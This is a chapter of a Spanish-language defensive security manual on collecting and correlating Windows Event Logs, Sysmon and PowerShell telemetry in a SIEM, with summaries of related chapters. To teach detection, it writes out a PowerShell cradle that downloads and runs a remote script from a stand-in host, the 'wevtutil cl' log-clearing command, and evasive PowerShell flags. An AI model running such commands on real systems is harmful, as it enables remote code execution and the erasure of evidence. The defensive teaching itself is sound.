5.2 · Telemetría y SIEM: Windows Event Logs, Sysmon y PowerShell

13 min de lectura · blue-team / siem-logging / deteccion / threat-hunting / dfir-forense · ⎙ PDF

Panorama#

El marco de P5 (5.1) cerró con un principio que este capítulo convierte en infraestructura: no se puede detectar lo que no se registra, ni cazar lo que no se hipotetiza. La detección, la cacería y el forense son operaciones que se ejecutan sobre datos; si esos datos no existen —porque la auditoría estaba apagada, porque el canal que los guardaba no se recolectaba, porque el atacante los borró—, no hay analítica que valga. La telemetría es esa capa de datos, y este capítulo la sistematiza: qué fuentes existen, qué registran, cómo se adquieren y cómo se correlacionan. Todo lo que sigue en la Parte —el movimiento lateral en 5.6, la caza de C2 en 5.7, el análisis de malware en 5.8— consulta las fuentes que aquí se definen.

Dos tensiones gobiernan el diseño. La primera es de cobertura contra ruido: registrar todo lo posible ahoga al SIEM —Security Information and Event Management, la plataforma que centraliza y correlaciona los registros—, dispara los costos y entierra la señal. Por eso la selección se hace guiada por inteligencia, como fijó 5.1: las TTP que se quieren ver deciden qué se ingiere. La segunda es de oportunidad: casi ninguna de estas fuentes viene activada por defecto —el registro de la línea de comandos, el Script Block Logging de PowerShell, el despliegue de Sysmon son todos opcionales—, de modo que habilitarlas es un acto de preparación que ocurre antes del incidente. Una organización que descubre el ataque y recién entonces va a mirar los logs, encuentra que los que importaban nunca se estaban guardando. La telemetría es la fase de preparación del ciclo de respuesta a incidentes (5.4) hecha datos.

Este capítulo se concentra en las tres fuentes de host de Windows que hacen visible la enorme mayoría de la actividad de endpoint —los Event Logs, la ejecución de procesos y PowerShell— y cierra con la correlación multi-fuente que las une con la red. Es deliberadamente el complemento general de la defensa de Active Directory (4.9), que ya desarrolló a fondo el diccionario de Event IDs de autenticación, cuentas y Kerberos del dominio; aquí no se repite ese diccionario, sino que se describe la plataforma de datos sobre la que aquel se apoya y que los capítulos siguientes reutilizan.

flowchart TD
  subgraph HOST["Telemetría de host (Windows)"]
    EL["Windows Event Logs\n(Seguridad · Sistema ·\nAplicación + operativos)"]
    PR["Ejecución de procesos\n4688 + Sysmon 1\n(command line · hashes ·\npadre-hijo)"]
    PS["PowerShell\n4104 script block ·\n4103 module · transcript"]
  end
  subgraph NET["Telemetría de red / perímetro"]
    FW["Firewall · proxy · DNS"]
    APP["IIS / Apache · syslog"]
  end
  EL & PR & PS --> WEF["Reenvío (WEF) +\nadquisición offline\n(EvtxECmd)"]
  WEF --> SIEM["SIEM\n(normaliza · correlaciona ·\nalerta)"]
  FW & APP --> SIEM
  SIEM --> DET["Detección · cacería ·\ninvestigación"]
  classDef n fill:#1e293b,stroke:#475569,color:#e2e8f0;
  classDef s fill:#334155,stroke:#64748b,color:#e2e8f0;
  class EL,PR,PS,FW,APP,WEF,DET n;
  class SIEM s;

La arquitectura de los Windows Event Logs#

Casi todo lo que ocurre en Windows queda registrado en algún Event Log —los registros que Microsoft diseñó originalmente para que los administradores diagnosticaran fallas y que resultaron ser la fuente primaria de evidencia de un incidente—, porque, como resume la fuente, «todo en el entorno de Windows está atado a un proceso de Windows, incluidas las acciones del atacante». La evidencia se reparte en canales según su origen. Los tres clásicos son Seguridad (Security) —el más valioso: autenticación, validación de credenciales, acceso a objetos, creación de procesos, cambios de privilegios—, Sistema (System) —servicios, drivers, cambios del cortafuegos— y Aplicación (Application), que definen los desarrolladores de terceros. Pero la cacería moderna depende tanto o más de canales operativos específicos: los de PowerShell, los de tareas programadas, los del protocolo de escritorio remoto. La primera habilidad del analista es saber que un mismo ataque deja rastro disperso en varios canales y que reconstruir la cadena exige correlacionarlos.

Físicamente, desde Windows Vista los registros se guardan como archivos .evtx en %SystemRoot%\System32\winevt\Logs\. Dos hechos operativos importan. El primero es la escala: una instalación limpia de Windows 11 genera más de 336 archivos de registro distintos, de modo que ingerir todos al SIEM no es viable ni deseable —de vuelta a la selección guiada por TTP—. El segundo es que la ruta de almacenamiento es reconfigurable por un administrador —o por un atacante con privilegios— a través de la clave de registro HKLM\SYSTEM\CurrentControlSet\Services\EventLog\<canal>, un detalle que importa cuando la evidencia no aparece donde se la espera.

La recolección centralizada en el SIEM tiene un punto ciego: depende de un agente que corre en el host, y un atacante con privilegios puede inhabilitarlo, aislar el equipo o —peor— borrar los registros locales (el wevtutil cl / Event ID 1102 «se limpió el registro de auditoría» que se detalla en el forense de 5.4). De ahí dos defensas complementarias. Primera, reenviar los logs fuera del host en tiempo casi real —Windows Event Forwarding (WEF) hacia un colector, o el propio agente del SIEM—, de modo que la copia sobreviva al borrado local. Segunda, dominar la adquisición forense offline: extraer los .evtx directamente del disco y procesarlos con herramientas independientes del agente —EvtxECmd de Eric Zimmerman, que convierte los binarios masivamente a CSV/JSON/XML para importarlos; Event Log Explorer para el análisis gráfico; PsLogList para volcarlos en caliente—. Es la capacidad que salva la investigación cuando el adversario ya cegó la telemetría en vivo.

Un detalle metodológico útil para practicar sin un incidente real: el libro construye su laboratorio con HELK (The Hunting ELK, un SIEM de código abierto sobre Elasticsearch) alimentado por el dataset Mordor —eventos de seguridad pregrabados a partir de la simulación documentada de técnicas adversarias, incluidos conjuntos de APT29—, lo que permite estudiar la anatomía de los eventos bajo ataque sin tener que generar la actividad maliciosa a mano.

Ejecución de procesos: 4688 y Sysmon 1#

La fuente más rica para cazar la ejecución de código malicioso es el registro de creación de procesos. El evento nativo es el Event ID 4688, que se dispara cada vez que se instancia un ejecutable y registra campos vitales: el New Process Name (qué se ejecutó), el Creator Process Name (quién lo lanzó) y el Token Elevation Type (con qué nivel). Su complemento imprescindible es el Event ID 1 de Sysmon —System Monitor de Sysinternals—, que enriquece el mismo hecho con campos forenses que 4688 no trae, sobre todo los hashes criptográficos del binario, que permiten cruzar cada ejecución contra listas de IOC conocidos (la base de la pirámide del dolor de 5.1) y elevan la fidelidad del triaje. Desplegar Sysmon con una configuración curada es una de las decisiones de preparación con mejor retorno.

Ahora bien, 4688 y Sysmon 1 tienen un defecto crítico si no se los configura bien: por defecto registran qué binario se ejecutó pero no con qué argumentos. Sin la política de auditoría de línea de comandos (command-line auditing) habilitada, el sistema ve que corrió net.exe pero no ve net group "Domain Admins" /domain —es decir, no distingue el uso legítimo de una utilidad del sistema de su abuso—. Como la línea de comandos «se usa para decirle al proceso qué hacer», sin ella la detección de LOLBins (Living Off the Land Binaries, los binarios legítimos que el atacante abusa para no traer malware propio) es prácticamente imposible. Habilitar la captura del Process Command Line es, junto con Sysmon, la configuración que hace útil todo lo demás.

# Habilitar la auditoría de creación de procesos CON línea de comandos (preparación, vía GPO o local):
# Config. equipo → Directivas → Plantillas administrativas → Sistema → Auditoría de creación de procesos
# "Incluir línea de comandos en los eventos de creación de procesos" → Habilitado
# (equivale a poner ProcessCreationIncludeCmdLine_Enabled=1 en el registro)
# Consultar 4688 filtrando por línea de comandos sospechosa (ejemplo de descubrimiento):
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4688} |
Where-Object { $_.Message -match 'net(\.exe)?\s+(group|user).+/domain' }

Con la línea de comandos disponible, tres patrones de alta fidelidad se vuelven cazables. El primero es la relación padre-hijo anómala: un proceso que engendra un hijo inesperado, o que tiene un padre inesperado. La firma canónica es una aplicación ofimática que lanza un intérprete —winword.exe o excel.exe → powershell.exe / cmd.exe, el rastro típico de una macro maliciosa—, o el w3wp.exe de IIS lanzando cmd.exe (la webshell de 3.5 y la inyección de 3.2 vistas desde el SIEM). También delata la inyección: si svchost.exe —que legítimamente cuelga siempre de services.exe— aparece lanzando una shell, es señal de que fue inyectado (el caso Emotet que la fuente documenta). El segundo patrón es el ocultamiento a plena vista: un binario con nombre legítimo pero ruta equivocada —C:\Windows\svchost.exe en vez del correcto C:\Windows\System32\svchost.exe—, o con el nombre sutilmente alterado (scvhost.exe), o ejecutado desde carpetas Temp y del perfil del usuario, donde el atacante agrupa su arsenal. El tercero es el rastreo del árbol de procesos por identificador: tomando el Process ID de un artefacto malicioso —por ejemplo un protector de pantalla cod.3aka3.scr— y buscándolo iterativamente como Creator Process ID de los eventos siguientes, se reconstruye la línea de tiempo completa: el .scr engendró un cmd.exe, que engendró un powershell.exe. Es la misma telemetría 4688/línea-de-comando que hace ruidosa la escalada de privilegios (3.9) cuando el atacante corre sus herramientas de enumeración.

PowerShell: la fuente que desnuda lo fileless#

PowerShell merece su propio tratamiento porque monopoliza los arsenales modernos —Empire, Nishang, Cobalt Strike— por cuatro razones que lo hacen ideal para el atacante y difícil para el defensor: es omnipresente (está en todo Windows), no deja artefactos tradicionales en disco (ejecuta en memoria), ofrece canales remotos cifrados, y —lo más incómodo— su actividad maliciosa se mezcla con la administración legítima, que también usa PowerShell a diario. Esa es la esencia de la ejecución fileless (sin archivos): el código opera solo en la RAM, sin escribir un ejecutable, de modo que el antivirus tradicional que escanea el disco no ve nada. Contra eso, la telemetría correcta es la única defensa determinista, y por eso este capítulo cierra el hilo fileless que el bloque rojo dejó abierto en la evasión de AV/EDR (3.11).

Los registros de PowerShell viven en dos taxonomías. El canal clásico (Windows PowerShell) trae los Event IDs 400/403 (inicio/fin del motor), 800 (detalle del pipeline) y 500/501 (invocación de comandos). El canal operativo (Microsoft-Windows-PowerShell/Operational) es donde el analista concentra la búsqueda, y su pieza central es el Event ID 4104, el Script Block Logging. Su valor es decisivo: captura el bloque de script ya desofuscado, porque PowerShell registra el texto justo antes de entregarlo a AMSI (Antimalware Scan Interface) para su evaluación. Es decir, por más que el atacante ofusque su código, el 4104 lo guarda en claro —el mismo punto donde la evasión (3.11) pelea por parchear AMSI para cegar precisamente este registro—. El 4103 (Module Logging) complementa registrando la invocación de módulos y variables del pipeline; los 4105/4106 marcan comandos asíncronos; y la Transcription graba la sesión interactiva completa —entradas, salidas y errores— como un testigo textual.

Cuando un script es largo, PowerShell fragmenta el 4104 y advierte «Creating Scriptblock text (1 of N)»; para reconstruir el cuerpo completo hay que reensamblar los eventos que comparten el mismo campo ScriptBlock ID. Antes de la desofuscación, el único pivote estático confiable son los flags de la invocación, que conviene alertar en el 4688/línea-de-comando aunque el resto del comando venga codificado: -EncodedCommand / -enc / -e (carga en Base64), -ExecutionPolicy Bypass / -ep bypass (viola restricciones), -NoProfile / -nop, -WindowStyle Hidden / -w hidden (oculta la ventana), más los alias y funciones IEX (Invoke-Expression), [Convert]::FromBase64String y DownloadString (el cradle que baja la carga remota).

El cradle remoto es el arquetipo que une todo. Una invocación como powershell.exe -ep bypass -nop -noexit -c iex ((New-Object Net.WebClient).DownloadString("http://soctest.xyz/malware.ps1")) descarga un script y lo ejecuta en memoria sin tocar el disco. El evento clásico 800 intercepta el comando base, pero solo el 4104 operativo extrae el contenido real de malware.ps1 que corrió en RAM —la diferencia entre ver que algo se descargó y ver qué hacía—. Este mismo canal es el que delata el stager de un C2 fileless (3.10) como Empire y la lógica de un canal encubierto (3.12) que descarga su carga desde un servicio legítimo.

Correlación multi-fuente: el trabajo del SIEM#

Ninguna de estas fuentes basta sola. La tesis del análisis de logs es que un artefacto malicioso aislado rara vez expone el alcance completo del atacante; solo vinculando cronológicamente eventos de host, red y aplicación se reconstruye la intrusión, «pensando cómo encajan las piezas del rompecabezas». El caso canónico de trazabilidad lo ilustra de punta a punta: un stack buffer overrun (código de excepción c0000409) en el volcado de caída de MicrosoftEdge.exe revela la explotación inicial; los archivos Prefetch muestran una conexión TCP saliente; los registros del cortafuegos confirman el tráfico permitido; y una consulta con Log Parser sobre el campo cs-uri-query del log de IIS descubre el ataque real —una inyección SQL codificada (DECLARE @S NVARCHAR(4000)...EXEC(@S)) que devolvió un sc-status 500—. Cada fuente aportó una pieza; la correlación las volvió una historia.

De ahí dos consecuencias operativas. La primera es que el analista debe conocer el formato crudo, no depender ciegamente del panel del SIEM: la sintaxis de los cortafuegos varía entre fabricantes (Check Point, NetScreen, iptables), pero todos documentan origen, destino, protocolo y resolución, de modo que aprender los campos troncales permite cambiar de proveedor y enfocarse solo en las diferencias. Lo mismo vale para el .evtx de Windows, el syslog de Unix/Linux (donde /var/log/auth.log documenta las aperturas de sesión CRON de root y los sudo apt-get install que delatan el compromiso del host) y los logs de IIS/Apache. La segunda es que la telemetría de red y perímetro —firewall, proxy, DNS— es el otro medio campo de la detección, y es exactamente el que consumen la caza de movimiento lateral (5.6) y la caza de C2 y exfiltración (5.7, 5.9). El SIEM es la plataforma que normaliza esas fuentes heterogéneas a un modelo común, las correlaciona en el tiempo y alerta —la superficie donde la ingeniería de detección de 5.1 escribe sus reglas—.

La telemetría como preparación#

Este capítulo no lleva subsección defensiva separada porque es, en sí mismo, la infraestructura de la defensa; su cierre es una consigna de preparación. Habilitar la auditoría de línea de comandos, el Script Block Logging de PowerShell y el despliegue de Sysmon; reenviar los canales críticos fuera del host con WEF para que sobrevivan al borrado; y —el principio que recorre todo el ciclo de respuesta— establecer una línea base de normalidad, porque «no se puede determinar qué es anómalo si no se sabe qué es normal»: sin saber qué procesos, qué relaciones padre-hijo y qué tráfico saliente son habituales en el entorno, ninguna de estas fuentes distingue el ataque del ruido. Todo esto se decide antes del incidente y guiado por las TTP que se quieren ver, no acumulando datos por acumular. La defensa de Active Directory (4.9) mostró cómo se aplica este diccionario de eventos a un dominio concreto; los capítulos 5.6 a 5.11 lo aplican técnica por técnica. La telemetría es el sustrato: sin ella, el resto de P5 no tiene sobre qué correr.

Referencias#

blue-dfir/effective-threat-investigation/cap-03 — Introduction to Windows Event Logs: la arquitectura de canales, los .evtx en winevt\Logs, la clave de reubicación, la adquisición offline (EvtxECmd/PsLogList/Event Log Explorer) y el laboratorio HELK + dataset Mordor.
blue-dfir/effective-threat-investigation/cap-05 — Investigating Suspicious Process Execution: 4688 y Sysmon 1, la auditoría de línea de comandos, las relaciones padre-hijo anómalas, el ocultamiento a plena vista y el rastreo del árbol de procesos por Creator Process ID.
blue-dfir/effective-threat-investigation/cap-06 — Investigating PowerShell Event Logs: los canales clásico y operativo, el 4104 (Script Block Logging) que desofusca antes de AMSI, Module Logging y Transcription, los flags evasivos y la anatomía del cradle fileless.
blue-dfir/attack-defense/cap-16 — Log Analysis: la correlación multi-fuente, los artefactos más allá de los Event Logs (Prefetch, volcados de caída), los registros de cortafuegos por proveedor, syslog/auth.log de Linux e IIS/Apache con Log Parser, y el log tampering como táctica adversaria.
MITRE ATT&CK — T1059.001 (PowerShell) y T1562.001 (Impair Defenses: Disable or Modify Tools), las técnicas que esta telemetría hace visibles y que el atacante intenta cegar.
Sysmon (Sysinternals) y configuraciones curadas de referencia (SwiftOnSecurity, Olaf Hartong) como base del despliegue de telemetría de proceso.

Mencionado en

1.1 · El programa de inteligencia: niveles, ciclo y requerimientosEl capítulo-marco que abre P1. Su tesis: la inteligencia no se define por el dato que contiene sino por la decisión que habilita, de modo que un programa sin requerimientos explícitos no produce inteligencia sino feeds. Desarrolla los tres niveles de consumo —táctico, operativo y estratégico— como tres productos distintos con tres consumidores distintos, el ciclo de seis fases como disciplina que impide la acumulación estéril de indicadores, y el criterio de madurez que separa a la organización que compra inteligencia de la que la produce a partir de sus propios incidentes.
1.2 · Colección: fuentes, taxonomía y evaluaciónLa segunda fase del ciclo: de dónde sale el material. Desarrolla la taxonomía completa de fuentes —internas y las seis familias externas: honeynets y darknets, sinkholes, informes de proveedor, escaneo y crawling, procesamiento de malware y relaciones humanas en canales cerrados—, el dilema entre construir y comprar, y el criterio que ordena todo lo anterior: el valor de una fuente no es su volumen sino su unicidad y su latencia respecto de la decisión. Cierra con la priorización concéntrica hacia los activos estratégicos, la señal de explotación como corrección al parcheo por severidad, y los tres riesgos de la colección misma.
1.3 · Modelos de análisis: kill chain, Diamond, ATT&CK y método estructuradoLa fase donde el dato se convierte en juicio. Recorre los tres modelos que estructuran el análisis —la kill chain de Lockheed Martin y sus tres límites, ATT&CK como matriz que reemplazó a la secuencia, y el modelo del diamante cuyo valor real es el pivoteo— y sostiene que ninguno describe la realidad: imponen una disciplina de razonamiento. De ahí la segunda mitad: el enemigo del analista no es la falta de datos sino el sesgo, y por eso el análisis de hipótesis en competencia, el lenguaje calibrado de la incertidumbre y la contención de la atribución prematura valen más que cualquier herramienta.
1.4 · Indicadores, estándares y diseminaciónLa fase que decide si todo lo anterior sirvió de algo. Recorre la anatomía del indicador —de los estáticos a los conductuales, y por qué uno sin contexto ni caducidad es deuda operativa—, los estándares que permiten que la inteligencia llegue a una máquina sin pasar por un humano (STIX, TAXII, MISP, YARA, Sigma), la plataforma que los agrega y el informe que llega a la persona que decide. Su tesis: la máquina y el humano son dos productos distintos, y confundirlos es el fallo de diseminación más común.
1.5 · CTI operativa: del feed a la detección en el SOCEl puente entre el programa de inteligencia y el centro de operaciones: los tres puntos donde cada nivel se inyecta, el caso canónico de extremo a extremo y los tres lugares donde falla en la realidad, el bucle de realimentación que convierte al equipo de respuesta en productor, la célula de análisis y su única condición de existencia, y las métricas que distinguen un programa que cambia decisiones de uno que solo ingiere indicadores.
3.17 · Acceso inicial y weaponización de payloadsEl eslabón que faltaba entre el pretexto humano y la ejecución de código: cómo un operador cruza la primera frontera de confianza —de afuera hacia adentro— entregando un artefacto que la víctima o el canal aceptan y que, una vez en destino, se ejecuta. El capítulo trata el acceso inicial como una negociación entre dos exigencias en tensión: la entrega (que el correo, el sitio o el dispositivo acepten el vehículo) y la ejecución (que el control del endpoint no lo detenga). Recorre el vector dominante —el phishing y sus documentos armados, con las macros de Office en declive por la marca de la web (Mark-of-the-Web) que Microsoft empezó a hacer valer— y el pivote de los atacantes hacia los contenedores montables (ISO/IMG/VHD), los accesos directos (LNK), las aplicaciones HTA y el contrabando por HTML (HTML smuggling), que reconstruye el payload del lado del cliente para esquivar la inspección del canal. Cubre los binarios legítimos del sistema (LOLBins) como motores de ejecución que heredan confianza, y el acceso físico por dispositivos de interfaz humana falsos (BadUSB). Cierra, como todo capítulo ofensivo del manual, con el mapeo púrpura: la defensa del acceso inicial vive en tres planos —el correo, el endpoint y la persona— y ninguno alcanza solo. Complementa la ingeniería social de la Parte 8 (el lado humano) y la explotación web de este mismo bloque (la vía del navegador).
5.1 · El programa de defensa: detección y threat huntingEl capítulo-marco que abre P5 y da vuelta el manual: del atacante que necesita todos los eslabones al defensor que solo necesita fallar uno. La defensa no es una suma de herramientas sino un programa activo de funciones que interoperan —inteligencia, detección, respuesta, validación, cacería y control— bajo el mismo supuesto de compromiso que gobierna al atacante. Su tesis operativa: la detección se construye por comportamiento (TTP), no por artefacto atómico (la pirámide del dolor de Bianco), y la cacería dirigida por hipótesis retroalimenta la detección en un ciclo cerrado (hunt-to-detection). Es el espejo azul de la metodología de pentest (3.1) y del método OSINT (2.1).
5.3 · Detección de amenazas de identidad y correoLa identidad es el nuevo perímetro y el correo su puerta de entrada: el 41% de los accesos iniciales empiezan en un buzón. Este capítulo recorre la cadena de identidad de afuera hacia adentro —el correo entrante (phishing/BEC y el análisis forense de cabeceras SPF/DKIM/DMARC), la autenticación (el léxico de Event IDs 4624/4625/4776/4771 que distingue el brute-force del password spraying), los ataques modernos a la identidad en la nube que ni roban la contraseña ni burlan técnicamente el MFA (OAuth consent abuse, AiTM y robo de token de sesión) y el abuso de identidad en el dominio (Kerberoasting visto por el 4769 con RC4)— bajo un principio rector: una autenticación exitosa NO implica legitimidad; se evalúa el comportamiento en contexto, no el evento aislado. Es el espejo azul del OSINT de identidad (2.2) y del Kerberos ofensivo (4.2/4.9).
5.4 · Respuesta a incidentes y recuperaciónEl destino de toda detección o cacería confirmada: la función Respond del programa de defensa. El capítulo desarrolla el ciclo de respuesta a incidentes del NIST —preparación, detección/análisis, contención/erradicación/recuperación, post-incidente— alrededor de una tesis sobre el tempo: la remediación prematura, ejecutada antes de acotar el alcance, alerta al adversario y desata un juego de whack-a-mole que prolonga el incidente y facilita la reinfección. Distingue la remediación táctica (contener, restaurar, erradicar) de la estratégica (los cambios arquitectónicos que impiden repetir la intrusión), aborda la particularidad de la respuesta en la nube (la responsabilidad compartida limita el acceso a la evidencia) y cierra con la recuperación: sin un plan de DR/BCP con backups offline, el ransomware gana. Es la función que 5.1 nombró y donde converge la telemetría de 5.2, la contención de identidad de 5.3 y el forense de 5.5.
5.5 · Forense de memoriaEl quinto y último capítulo-fundamento de P5, y el que destapa lo que el disco no ve. La RAM es evidencia volátil que muere en el reinicio —procesos activos, conexiones establecidas, credenciales en claro, código inyectado sin archivo—, de modo que se captura en vivo antes de apagar, con cuidado de no corromperla. Sobre el volcado, Volatility perfila el sistema y triangula lo oculto: pslist frente a psscan expone el proceso que un rootkit borró de la lista del kernel, malfind localiza el código inyectado en regiones RWX sin archivo de respaldo, netscan recupera el canal de C2 y hashdump las credenciales. Es el espejo forense de la inyección in-memory (3.11) y de los rootkits (3.14): las técnicas que ganaron contra el escaneo de disco pierden en memoria, porque para ejecutar tienen que estar ahí. Cierra los fundamentos 5.1–5.5; los binarios que extrae alimentan el análisis de malware de 5.8.
5.6 · Detección de movimiento lateral en el SIEMEl primero de los seis capítulos que cierran, desde el lado azul, las técnicas del bloque rojo. El movimiento lateral es la fase que convierte un equipo comprometido en una red comprometida, y no puede ejecutarse en silencio: toda ejecución remota en Windows deja un rastro característico —un inicio de sesión de red, un servicio recién instalado, un recurso administrativo tocado, un proceso hijo que no corresponde—. Recorre la telemetría de cada vía (PsExec y admin shares, WMI y WinRM, RDP, pass-the-hash) insistiendo en la regla que las une: el evento se lee correlacionando origen y destino, nunca en una máquina sola. Cierra con la contracara arquitectónica —la segmentación reduce el blast radius y obliga al tráfico este-oeste a cruzar un punto donde se lo puede ver— y con los dos casos donde el lateral es el punto de detección final. Es el espejo azul de 4.8, 4.9 y 3.13.
5.7 · Caza de C2 y comunicaciones salientesEl lado azul de la paradoja que abrió 3.10: el implante puede cifrar su tráfico, imitar un navegador y esconderse tras una CDN, pero no puede dejar de comunicar. Sobre esa obligación se construye toda la caza. Recorre los tres sensores del tráfico saliente —cortafuegos, proxy web y DNS— con lo que cada uno ve y, sobre todo, lo que no: sin inspección TLS el proxy solo registra el método CONNECT y queda ciego a la ruta. De ahí salen las señales que sobreviven al cifrado, porque son de forma y no de contenido: la periodicidad del beaconing y el jitter con que el adversario la rompe, la asimetría de bytes que separa la descarga del payload de la exfiltración, el User-Agent de un intérprete que no es un navegador, la entropía de los dominios DGA y de los subdominios de un túnel DNS. Cierra 3.10, 3.12 y 2.4.
5.8 · Análisis de malware y detección de evasiónLa respuesta azul a la evasión de 3.11, y el capítulo con más hilos entrantes de P5. Su tesis es una distinción que ordena todo lo demás: la evasión gana contra la firma, no contra el comportamiento, porque para ejecutar el código tiene que desempaquetarse, tocar el sistema y comunicarse. Recorre el laboratorio propio y su hardening contra las comprobaciones anti-VM, la cadena estático→dinámico→unpacking→reversing, y el punto donde el análisis deja de escalar: el código virtualizado. De ahí sale el segundo movimiento, el más incómodo y el más útil: medir empíricamente qué detecta el sensor propio en lugar de creerle a la hoja de producto —cuatro pruebas documentadas encuentran ventanas de horas, formatos contenedor ignorados y cadenas de LOLBins no correlacionadas—. Incluye el análisis del artefacto de acceso inicial —documentos y scripts maliciosos: la desofuscación de JS/VBA y macros con box-js, pdf-parser y oledump, y la emulación de shellcode con scdbg—, que es la ilustración más pura de la tesis (el script tiene que desofuscarse para correr) y dice qué aristas padre-hijo alertar. Cierra con la otra cara de la fatiga de alertas: el falso positivo heredado de una reputación ajena. Cierra 3.11 y 2.6.
5.9 · Detección de exfiltración y estegoanálisisSi 5.7 siguió el canal, este capítulo sigue el dato. La exfiltración tiene una anatomía estable —recolección, staging local, compresión, salida y repliegue— y el mejor punto de detección no está en la salida sino antes: el staging es local, anómalo y visible para el EDR. Recorre la jerarquía de canales por dificultad creciente hasta el caso más incómodo, la exfiltración nativa de la nube, donde el dato se va sin que ningún paquete cruce el perímetro. Trata el scraping por API, el insider —el escenario sin IOC, donde solo queda el comportamiento— y los límites honestos del DLP, que se derrota cifrando antes de salir. Cierra con el estegoanálisis como problema estadístico y no de firmas: gana contra el LSB ingenuo y pierde contra el cifrado previo, razón por la cual el plano fuerte sigue siendo el conductual. Cierra 3.12.
5.10 · Detección de persistencia en LinuxEl espejo azul de 3.14. La persistencia tiene una debilidad que la exfiltración y el C2 no tienen: deja un artefacto quieto en disco, y los disparadores que el sistema honra son finitos, por lo tanto enumerables. De ahí que la detección sea auditoría de un conjunto acotado contra una línea base, y no persecución de un comportamiento fugaz. Recorre la telemetría nativa de Linux y su hueco más grande —no hay auditoría de creación de procesos por defecto—, auditd y AIDE con sus límites honestos, la señal que rinde en cada familia de disparador, y la verificación de paquetes como línea base criptográfica gratuita. Cierra con el caso donde la regla se invierte: cuando el host miente, hay que observarlo desde fuera. Cierra 3.14.
5.11 · Detección en runtime de contenedoresEl espejo azul de 3.16 y el capítulo que cierra P5. El contenedor de propósito único invierte el problema que hacía caro todo lo anterior: su comportamiento permitido es tan pequeño y está tan declarado que la línea base deja de ser un proyecto y pasa a derivarse de la definición del workload. Sobre esa ventaja se apoya el IDS de runtime por eBPF, con sus tres límites honestos. Pero el sensor de host solo cubre la mitad: el adversario que roba un token de service account no ejecuta nada en ningún nodo, y ahí el audit log del API server pasa de complemento a fuente primaria. Cierra con lo que la efimeridad le hace al forense y con la propiedad más aprovechable del modelo: en Kubernetes el ataque se declara antes de ejecutarse. Cierra 3.16 y la Parte 5.
5.12 · Detección de rootkits: integridad de kernel y arranqueA un rootkit no se le pregunta si está: posee el árbitro que respondería. Este capítulo consolida las dos detecciones que P5 ya construyó —el forense de memoria de 5.5 para la vista cruzada en Windows y la detección de persistencia de 5.10 para Linux— y añade lo que ninguno alcanza: la escalera de profundidad completa hasta el firmware, el vector de entrada al anillo 0 que domina hoy (BYOVD, cargar un driver firmado pero vulnerable), y la arquitectura de integridad que es la única defensa que gana. La tesis es incómoda pero clarificadora: contra un adversario que reside en la capa donde corren las herramientas de inspección, la respuesta no es detección sino diseño —negar el punto de observación (HVCI/VBS mueve el árbitro por debajo del kernel), controlar quién entra al anillo 0 (lista de drivers bloqueados) y anclar el arranque en el hardware (Secure Boot + arranque medido + TPM)—; y donde la detección todavía aplica, tiene que venir desde abajo o desde afuera del rootkit, nunca del host que este ya controla.
6.1 · La función de validación: por qué un control no probado no existeEl capítulo que abre la Parte 6. Sostiene que sin validación una organización opera sobre supuestos —instalar cámaras sin verificar que graban—, que el enemigo silencioso es el drift de configuración porque la defensa se degrada sin que nadie lo decida, y que la asimetría temporal entre lo que tarda el adversario en comprometer y lo que tarda la defensa en advertirlo es lo que obliga a validar la detección y no solo la prevención. Incluye la taxonomía de ejercicios —pentest, red team, purple, simulación automatizada y tabletop— con qué pregunta responde cada uno y cuál no.
6.3 · El ejercicio purple: ciclo, instrumentación y cierre del lazoEl núcleo operativo de la Parte 6. Sostiene que el valor del ejercicio purple no está en descubrir que algo no se detecta —eso también lo hace un red team— sino en que la corrección y la re-ejecución ocurren dentro del mismo ejercicio: la re-ejecución es el paso que casi nadie da y el único que convierte un hallazgo en una mejora. Recorre los cuatro resultados posibles de cada prueba y por qué el registrado-pero-no-alertado es el más valioso, la instrumentación previa, el ciclo iterativo, la detección como código validada en CI, la trampa de la matriz de cobertura, el entregable —reglas, no informes— y la salida que el cierre del lazo rechaza: aceptar el riesgo sin dueño ni fecha.
9.1 · Panorama: la IA como cambio de superficieEl capítulo que abre la Parte 9 y la última Parte substantiva del manual: la que trata la tecnología transversal que reordena todo lo anterior, la inteligencia artificial. Fija la tesis que ancla la Parte contra el ruido de mercado: la IA no deroga los fundamentos de la seguridad, cambia tres cosas —la escala, la velocidad y la superficie—. Lo ilustra con el caso real de la brecha asistida por IA al gobierno de México (comprometida por controles estándar que no estaban puestos, acelerada por un modelo de lenguaje hasta velocidades que superan la ventana de respuesta) y con el veredicto de la inteligencia de amenazas: los modelos maliciosos mejoran la eficiencia del adversario, no inventan un oficio nuevo. Presenta el doble filo —la misma tecnología aumenta a defensor y atacante a la vez— y el tercer eje que la IA agrega y antes no existía: el propio sistema de IA como superficie de ataque. Con esos tres ejes traza el mapa de la Parte: IA para defender (9.2), IA para atacar (9.3) y seguridad de la IA (9.4).
9.2 · IA defensiva: ML en el SOC y respuesta autónomaEl capítulo azul de la Parte 9: la inteligencia artificial como herramienta del defensor. Recorre el aprendizaje automático en el corazón del centro de operaciones —el modelo supervisado que clasifica lo conocido, el no supervisado que detecta la anomalía que nunca vio— y la arquitectura que lo sostiene: el pipeline de ingesta, feature y modelo sobre un data lake, y las plataformas que lo materializan (NGAV, EDR, XDR, NDR, UEBA, SOAR). Su eje es el espectro delicado de la respuesta autónoma —de la sugerencia a la aprobación al bloqueo automático— y la supervisión humana como el freno que ninguna madurez elimina, porque la automatización a escala puede convertirse en una denegación de servicio autoinfligida. Cierra con los límites honestos que separan la IA defensiva real del ruido de mercado: los falsos positivos y la fatiga de alertas, la degradación del modelo por data drift, el problema de la explicabilidad, y la incómoda verdad de que el propio modelo defensivo es una superficie de ataque nueva. La tesis: la IA no reemplaza al analista ni a la detección que la Parte 5 construyó; le pone una capa encima, y esa capa hay que gobernarla.